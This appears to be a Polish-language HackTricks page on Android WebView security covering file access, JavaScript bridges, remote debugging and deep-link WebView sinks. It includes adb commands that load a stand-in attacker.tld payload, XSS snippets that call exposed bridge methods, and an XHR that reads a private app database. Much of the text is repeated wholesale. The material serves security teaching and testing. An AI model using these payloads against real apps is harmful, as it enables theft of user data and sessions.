354 lines
18 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Ataki WebView
{{#include ../../banners/hacktricks-training.md}}
## Przewodnik po konfiguracjach WebView i bezpieczeństwie
### Przegląd podatności WebView
Krytycznym aspektem rozwoju aplikacji na Androida jest prawidłowe zarządzanie WebView. Ten przewodnik podkreśla kluczowe konfiguracje i praktyki bezpieczeństwa, aby zminimalizować ryzyko związane z używaniem WebView.
![Przykład WebView](<../../images/image (1190).png>)
### **Dostęp do plików w WebView**
Domyślnie WebView zezwala na dostęp do plików. Ta funkcjonalność jest kontrolowana przez metodę `setAllowFileAccess()`, dostępną od poziomu API Androida 3 (Cupcake 1.5). Aplikacje z uprawnieniem **android.permission.READ_EXTERNAL_STORAGE** mogą odczytywać pliki z pamięci zewnętrznej, używając schematu URL pliku (`file://path/to/file`).
#### **Wycofane funkcje: Uniwersalny i dostęp do plików z URL**
- **Uniwersalny dostęp z URL plików**: Ta wycofana funkcja pozwalała na żądania między źródłami z URL plików, co stanowiło istotne ryzyko bezpieczeństwa z powodu potencjalnych ataków XSS. Domyślne ustawienie jest wyłączone (`false`) dla aplikacji celujących w Android Jelly Bean i nowsze.
- Aby sprawdzić to ustawienie, użyj `getAllowUniversalAccessFromFileURLs()`.
- Aby zmodyfikować to ustawienie, użyj `setAllowUniversalAccessFromFileURLs(boolean)`.
- **Dostęp do plików z URL plików**: Ta funkcja, również wycofana, kontrolowała dostęp do treści z innych URL schematu pliku. Podobnie jak dostęp uniwersalny, jej domyślne ustawienie jest wyłączone dla zwiększonego bezpieczeństwa.
- Użyj `getAllowFileAccessFromFileURLs()` do sprawdzenia i `setAllowFileAccessFromFileURLs(boolean)` do ustawienia.
#### **Bezpieczne ładowanie plików**
Aby wyłączyć dostęp do systemu plików, jednocześnie uzyskując dostęp do zasobów i aktywów, używa się metody `setAllowFileAccess()`. W Androidzie R i nowszych domyślne ustawienie to `false`.
- Sprawdź za pomocą `getAllowFileAccess()`.
- Włącz lub wyłącz za pomocą `setAllowFileAccess(boolean)`.
#### **WebViewAssetLoader**
Klasa **WebViewAssetLoader** to nowoczesne podejście do ładowania lokalnych plików. Używa URL http(s) do uzyskiwania dostępu do lokalnych zasobów i aktywów, zgodnie z polityką tego samego pochodzenia, co ułatwia zarządzanie CORS.
### loadUrl
To powszechna funkcja używana do ładowania dowolnych URL w webviwe:
```java
webview.loadUrl("<url here>")
```
Oczywiście, potencjalny atakujący nigdy nie powinien mieć możliwości **kontrolowania URL** ładowanego przez aplikację.
### **Obsługa JavaScript i schematu Intent**
- **JavaScript**: Domyślnie wyłączony w WebView, można go włączyć za pomocą `setJavaScriptEnabled()`. Zaleca się ostrożność, ponieważ włączenie JavaScript bez odpowiednich zabezpieczeń może wprowadzić luki w zabezpieczeniach.
- **Schemat Intent**: WebView może obsługiwać schemat `intent`, co może prowadzić do exploitów, jeśli nie jest starannie zarządzane. Przykładowa luka polegała na ujawnionym parametrze WebView "support_url", który mógł być wykorzystany do przeprowadzenia ataków typu cross-site scripting (XSS).
![Vulnerable WebView](<../../images/image (1191).png>)
Przykład eksploatacji przy użyciu adb:
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://example.com/xss.html"
```
### Javascript Bridge
Funkcja ta jest dostarczana przez Androida, która umożliwia **JavaScript** w WebView wywoływanie **funkcji natywnych aplikacji Android**. Osiąga się to poprzez wykorzystanie metody `addJavascriptInterface`, która integruje JavaScript z natywnymi funkcjonalnościami Androida, określaną jako _WebView JavaScript bridge_. Należy zachować ostrożność, ponieważ metoda ta pozwala wszystkim stronom w WebView na dostęp do zarejestrowanego obiektu JavaScript Interface, co stanowi ryzyko bezpieczeństwa, jeśli wrażliwe informacje są ujawniane przez te interfejsy.
- **Wymagana jest ekstremalna ostrożność** dla aplikacji celujących w wersje Androida poniżej 4.2 z powodu luki umożliwiającej zdalne wykonanie kodu przez złośliwy JavaScript, wykorzystując refleksję.
#### Implementing a JavaScript Bridge
- **Interfejsy JavaScript** mogą wchodzić w interakcje z kodem natywnym, jak pokazano w przykładach, gdzie metoda klasy jest udostępniana JavaScript:
```javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
```
- JavaScript Bridge jest włączony poprzez dodanie interfejsu do WebView:
```javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
```
- Potencjalne wykorzystanie przez JavaScript, na przykład, za pomocą ataku XSS, umożliwia wywoływanie ujawnionych metod Java:
```html
<script>
alert(javascriptBridge.getSecret())
</script>
```
- Aby zminimalizować ryzyko, **ogranicz użycie mostka JavaScript** do kodu dostarczonego z APK i zapobiegaj ładowaniu JavaScript z zdalnych źródeł. Dla starszych urządzeń ustaw minimalny poziom API na 17.
### Wykonanie zdalnego kodu oparte na refleksji (RCE)
- Udokumentowana metoda pozwala na osiągnięcie RCE poprzez refleksję, wykonując określony ładunek. Jednak adnotacja `@JavascriptInterface` zapobiega nieautoryzowanemu dostępowi do metod, ograniczając powierzchnię ataku.
### Zdalne debugowanie
- **Zdalne debugowanie** jest możliwe za pomocą **Narzędzi dewelopera Chrome**, co umożliwia interakcję i dowolne wykonanie JavaScript w treści WebView.
#### Włączanie zdalnego debugowania
- Zdalne debugowanie można włączyć dla wszystkich WebView w aplikacji poprzez:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
```
- Aby warunkowo włączyć debugowanie w zależności od stanu debugowalności aplikacji:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
```
## Ekstrahowanie dowolnych plików
- Demonstruje ekstrahowanie dowolnych plików za pomocą XMLHttpRequest:
```javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
```
# Webview Attacks
## Guide on WebView Configurations and Security
### Overview of WebView Vulnerabilities
Krytycznym aspektem rozwoju Androida jest prawidłowe zarządzanie WebView. Ten przewodnik podkreśla kluczowe konfiguracje i praktyki bezpieczeństwa, aby zminimalizować ryzyko związane z używaniem WebView.
![WebView Example](<../../images/image (1190).png>)
### **File Access in WebViews**
Domyślnie WebView zezwalają na dostęp do plików. Ta funkcjonalność jest kontrolowana przez metodę `setAllowFileAccess()`, dostępną od poziomu API Androida 3 (Cupcake 1.5). Aplikacje z uprawnieniem **android.permission.READ_EXTERNAL_STORAGE** mogą odczytywać pliki z zewnętrznej pamięci za pomocą schematu URL pliku (`file://path/to/file`).
#### **Deprecated Features: Universal and File Access From URLs**
- **Universal Access From File URLs**: Ta przestarzała funkcja pozwalała na żądania międzydomenowe z URL plików, co stanowiło istotne ryzyko bezpieczeństwa z powodu potencjalnych ataków XSS. Domyślne ustawienie jest wyłączone (`false`) dla aplikacji celujących w Android Jelly Bean i nowsze.
- Aby sprawdzić to ustawienie, użyj `getAllowUniversalAccessFromFileURLs()`.
- Aby zmodyfikować to ustawienie, użyj `setAllowUniversalAccessFromFileURLs(boolean)`.
- **File Access From File URLs**: Ta funkcja, również przestarzała, kontrolowała dostęp do treści z innych URL schematu pliku. Podobnie jak dostęp uniwersalny, jej domyślne ustawienie jest wyłączone dla zwiększonego bezpieczeństwa.
- Użyj `getAllowFileAccessFromFileURLs()` do sprawdzenia i `setAllowFileAccessFromFileURLs(boolean)` do ustawienia.
#### **Secure File Loading**
Aby wyłączyć dostęp do systemu plików, jednocześnie uzyskując dostęp do zasobów i aktywów, używa się metody `setAllowFileAccess()`. W Androidzie R i nowszych domyślne ustawienie to `false`.
- Sprawdź za pomocą `getAllowFileAccess()`.
- Włącz lub wyłącz za pomocą `setAllowFileAccess(boolean)`.
#### **WebViewAssetLoader**
Klasa **WebViewAssetLoader** to nowoczesne podejście do ładowania lokalnych plików. Używa URL-i http(s) do uzyskiwania dostępu do lokalnych zasobów i aktywów, zgodnie z polityką tej samej domeny, co ułatwia zarządzanie CORS.
### loadUrl
To jest powszechna funkcja używana do ładowania dowolnych URL w webview:
```java
webview.loadUrl("<url here>")
```
Oczywiście, potencjalny atakujący nigdy nie powinien mieć możliwości **kontrolowania URL** , który aplikacja ma załadować.
### Deep-linking do wewnętrznego WebView (niestandardowy schemat → WebView sink)
Wiele aplikacji rejestruje niestandardowe schematy/ścieżki, które kierują URL dostarczony przez użytkownika do WebView w aplikacji. Jeśli głęboki link jest eksportowany (VIEW + BROWSABLE), atakujący może zmusić aplikację do renderowania dowolnej zdalnej treści w kontekście jej WebView.
Typowy wzór manifestu (uproszczony):
```xml
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>
```
Typowy przepływ kodu (uproszczony):
```java
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}
// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));
```
Wzorzec ataku i PoC za pomocą adb:
```bash
# Template force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
```
Impact: zdalna strona działa w kontekście WebView aplikacji (ciasteczka/sesja profilu WebView aplikacji, dostęp do wszelkich ujawnionych @JavascriptInterface, potencjalny dostęp do content:// i file:// w zależności od ustawień).
Hunting tips:
- Grep dekompilowane źródła w poszukiwaniu `getQueryParameter("url")`, `loadUrl(`, zlewów WebView oraz handlerów deep-link (`onCreate/onNewIntent`).
- Przejrzyj manifest w poszukiwaniu filtrów VIEW+BROWSABLE oraz niestandardowych schematów/gospodarzy, które mapują na aktywności, które później uruchamiają WebView.
- Sprawdź, czy istnieje wiele ścieżek deep-link (np. ścieżka „zewnętrznej przeglądarki” w porównaniu do ścieżki „wewnętrznego webview”) i preferuj tę, która renderuje się wewnątrz aplikacji.
### Enabling JavaScript before verification (order-of-checks bug)
Częstym błędem w twardnieniu jest włączenie JavaScript lub skonfigurowanie luźnych ustawień WebView przed zakończeniem ostatecznej listy dozwolonych/ weryfikacji docelowego URL. Jeśli weryfikacja jest niespójna w różnych pomocnikach lub następuje zbyt późno, atakujący deep link może osiągnąć stan, w którym:
1) Ustawienia WebView mają zastosowanie (np. `setJavaScriptEnabled(true)`), i
2) Niezaufany URL jest ładowany z włączonym JavaScript.
Bug pattern (pseudocode):
```java
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;
// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();
// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late JS already enabled
// 4) Load
webView.loadUrl(u.toString());
```
Dlaczego jest podatne na ataki
- Niekonsekwentna normalizacja: pomocnicy dzielą/odbudowują URL inaczej niż końcowa kontrola, co tworzy niezgodności, które złośliwy URL może wykorzystać.
- Niewłaściwa kolejność w pipeline: włączenie JS w kroku 2 ma zastosowanie globalnie do instancji WebView, wpływając na końcowe ładowanie, nawet jeśli weryfikacja później by nie powiodła się.
Jak testować
- Stwórz ładunki deep-link, które przechodzą wczesne kontrole i docierają do strony konfiguracyjnej WebView.
- Użyj adb, aby uruchomić domyślne intencje VIEW dostarczające parametr `url=`, który kontrolujesz:
```bash
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
```
Jeśli eksploatacja się powiedzie, twój ładunek wykonuje JavaScript w WebView aplikacji. Stamtąd sprawdź wystawione mosty:
```html
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>
```
Defensive guidance
- Canonicalize once; validate strictly against a single source of truth (scheme/host/path/query).
- Only call `setJavaScriptEnabled(true)` after all allowlist checks pass and just before loading trusted content.
- Avoid exposing `@JavascriptInterface` to untrusted origins; prefer per-origin gating.
- Consider per-WebView instances for trusted vs untrusted content, with JS disabled by default.
### **JavaScript i obsługa schematu Intent**
- **JavaScript**: Domyślnie wyłączony w WebViews, może być włączony za pomocą `setJavaScriptEnabled()`. Zaleca się ostrożność, ponieważ włączenie JavaScript bez odpowiednich zabezpieczeń może wprowadzić luki w zabezpieczeniach.
- **Schemat Intent**: WebViews mogą obsługiwać schemat `intent`, co może prowadzić do exploitów, jeśli nie jest starannie zarządzane. Przykład luki polegał na ujawnionym parametrze WebView "support_url", który mógł być wykorzystany do przeprowadzenia ataków cross-site scripting (XSS).
![Vulnerable WebView](<../../images/image (1191).png>)
Exploitation example using adb:
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://example.com/xss.html"
```
### Javascript Bridge
Funkcja ta jest dostarczana przez Androida, która umożliwia **JavaScript** w WebView wywoływanie **funkcji natywnych aplikacji Android**. Osiąga się to poprzez wykorzystanie metody `addJavascriptInterface`, która integruje JavaScript z natywnymi funkcjonalnościami Androida, określaną jako _WebView JavaScript bridge_. Należy zachować ostrożność, ponieważ ta metoda pozwala wszystkim stronom w WebView na dostęp do zarejestrowanego obiektu JavaScript Interface, co stanowi ryzyko bezpieczeństwa, jeśli wrażliwe informacje są ujawniane przez te interfejsy.
- **Wymagana jest ekstremalna ostrożność** dla aplikacji celujących w wersje Androida poniżej 4.2 z powodu luki umożliwiającej zdalne wykonanie kodu przez złośliwy JavaScript, wykorzystując refleksję.
#### Implementing a JavaScript Bridge
- **Interfejsy JavaScript** mogą wchodzić w interakcje z kodem natywnym, jak pokazano w przykładach, gdzie metoda klasy jest udostępniana JavaScript:
```javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
```
- JavaScript Bridge jest włączony poprzez dodanie interfejsu do WebView:
```javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
```
- Potencjalne wykorzystanie przez JavaScript, na przykład, za pomocą ataku XSS, umożliwia wywoływanie wystawionych metod Java:
```html
<script>
alert(javascriptBridge.getSecret())
</script>
```
- Aby zminimalizować ryzyko, **ogranicz użycie mostka JavaScript** do kodu dostarczonego z APK i zapobiegaj ładowaniu JavaScript z zdalnych źródeł. Dla starszych urządzeń ustaw minimalny poziom API na 17.
### Wykonanie zdalnego kodu oparte na refleksji (RCE)
- Udokumentowana metoda pozwala na osiągnięcie RCE poprzez refleksję, wykonując określony ładunek. Jednak adnotacja `@JavascriptInterface` zapobiega nieautoryzowanemu dostępowi do metod, ograniczając powierzchnię ataku.
### Zdalne debugowanie
- **Zdalne debugowanie** jest możliwe za pomocą **Narzędzi dewelopera Chrome**, co umożliwia interakcję i dowolne wykonanie JavaScript w treści WebView.
#### Włączanie zdalnego debugowania
- Zdalne debugowanie można włączyć dla wszystkich WebView w aplikacji poprzez:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
```
- Aby warunkowo włączyć debugowanie w zależności od stanu debugowalności aplikacji:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
```
## Ekstrahowanie dowolnych plików
- Demonstruje ekstrahowanie dowolnych plików za pomocą XMLHttpRequest:
```javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
```
## Odniesienia
- [Review of Android WebViews file access attack vectors](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
- [WheresMyBrowser.Android (demo app)](https://github.com/authenticationfailure/WheresMyBrowser.Android)
- [Android WebView reference](https://developer.android.com/reference/android/webkit/WebView)
- [Deep Links & WebViews Exploitations Part II](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
- [Deep Links & WebViews Exploitations Part I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
- [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
- [Pwn2Own Ireland 2024 Samsung S24 attack chain (whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
- [Demonstration video](https://www.youtube.com/watch?v=LAIr2laU-So)
{{#include ../../banners/hacktricks-training.md}}